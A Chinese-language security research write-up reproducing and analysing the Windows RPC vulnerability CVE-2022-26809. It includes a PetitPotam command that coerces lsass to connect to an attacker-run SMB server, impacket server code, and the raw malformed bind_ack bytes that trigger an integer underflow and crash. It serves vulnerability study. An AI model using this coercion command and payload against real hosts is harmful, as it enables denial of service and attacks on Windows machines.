CVE-2022-26809 RPC 高危漏洞复现与分析

 

作者:HuanGMz@知道创宇404实验室

1. 漏洞介绍

2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余,期间除了 L1nk 师傅发了一篇关于 GetCoalescedBuffer() 漏洞函数触发条件的分析,再无其他消息。我这边虽然分析出了 ProcessReceivedPDU() 漏洞函数的触发逻辑,但苦于无法在默认系统上触发,也没什么进展。

直到 5月18日,corelight 上发了一篇关于 CVE-2022-26809 的漏洞利用检测文章 ,同时给出了相关的github 仓库,仓库中附带了捕捉的 漏洞触发数据包。

文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中,这是一个 客户端解析 bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数,因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符,不太可能是 CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc 函数时,该函数会根据我们传入的unc路径,向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端,就会调用 ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。

EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的,位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一个rpc函数,你可以通过 \pipe\lsass 端点访问它。

efs 相关的rpc函数在2021年曾出过 PetitPotam 域提权CVE-2021-43893 域控文件写 几个著名的漏洞。虽然 CVE-2022-26809 和 这几个漏洞原理不类似,但触发方式类似,我们完全可以复用 PetitPotam 的脚本,免去了自己写rpc 客户端的麻烦。

推荐阅读这篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/,了解关于PetitPotam 的漏洞发展历史。

 

2. 漏洞复现

2.1 调用 EfsRpcDecryptFileSrv() 函数

使用 ly4k 的 PetitPotam 脚本进行调用,仓库链接:https://github.com/ly4k/PetitPotam

需要注意的是,由于 2021年12月份的 CVE-2021-43893 的补丁,我们要给脚本里加两行代码:

在 PetitPotam.Connect 函数要加两行代码 (加在 dce.connect() 前面就行):

dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

这两行代码是为了满足新增的 EFSRPC 强化措施。

调用 PetitPotam 脚本:

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv  -debug 'mr.wang:123@192.168.33.159'  '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 是目标主机的地址, 192.168.33.154 则是我们的恶意 smb 服务器的地址。遗憾的是我必须使用账号和密码,尚不确定原始poc是如何解决smb认证的问题的。

此时如果用 Procmon 来监测 lsass.exe 进程,你会看到它尝试打开 \\192.168.33.154\pipe\srvsvc 端点。

2.2 搭建恶意 smb 服务器

直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子:

from impacket.smbserver import SimpleSMBServer

myserver = SimpleSMBServer(listenPort=445)
myserver.start()

推荐在linux里搭建。

我们需要控制对 rpc bind 请求的响应,所以直接修改 rpcrt.py 库文件。

找到 rpcrt.py 文件里的 DCERPCServer.bind() 函数,直接注释,然后改为下面,相当于每次返回固定的 bind_ack 数据包。

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)

这一串数据也就是触发漏洞的关键 payload。

2.3 捕捉崩溃

打开目标主机防火墙的445端口。

关闭 smb2 协议:

Set-SmbServerConfiguration -EnableSMB2Protocol $false

开启 sbm1 协议:

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

这一步不是必须的,主要是方便我们 wireshark 捕捉观察rpc数据。

使用 gflags.exe 给 lsass.exe 进程开启页堆,然后重启系统。

选一种方式调试 lsass.exe,我使用内核调试,防止卡死。

然后开启恶意smb服务器,使用脚本调用 EfsRpcDecryptFileSrv() 函数。

然后就能捕捉到异常了。

如果正常,你会在 wireshark 里看到在调用 EfsRpcDecryptFileSrv()之后,有一串的 bind 和 bind_ack 数据包:

 

3. 漏洞分析

数据包有两个特点,frag_len 为 0x1a, ScnDry_Addr_len 为0,且数据包在这个字段截断,后面就没了。

BufferLength 即是数据包的长度 为0x1a,第一次 BufferLength – 0x1A ,结果为0,然后由于 sec_addr_length 为0,所以会进入 else 分支,0 – 0x1c 整数下溢。

后面 取 sec_addr_length地址 + 2 + 2 ,由于数据包到 sec_addr_length 结束,所以这个地址实际已经越界。

另外有一点需要注意:我们前面触发漏洞的 payload 使用的是大端字节序,但实际上使用小端字节序也能正常触发漏洞,所以和 Data Representation 字段是否为0应该没有关系。

最后,还没有解决调用 EfsRpcDecryptFileSrv() 时的smb认证问题。擅长漏洞利用的师傅可以试一试了。

 

附:

http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/

https://corelight.com/blog/another-day-another-dce-rpc-rce

https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/

https://github.com/ly4k/PetitPotam

(完)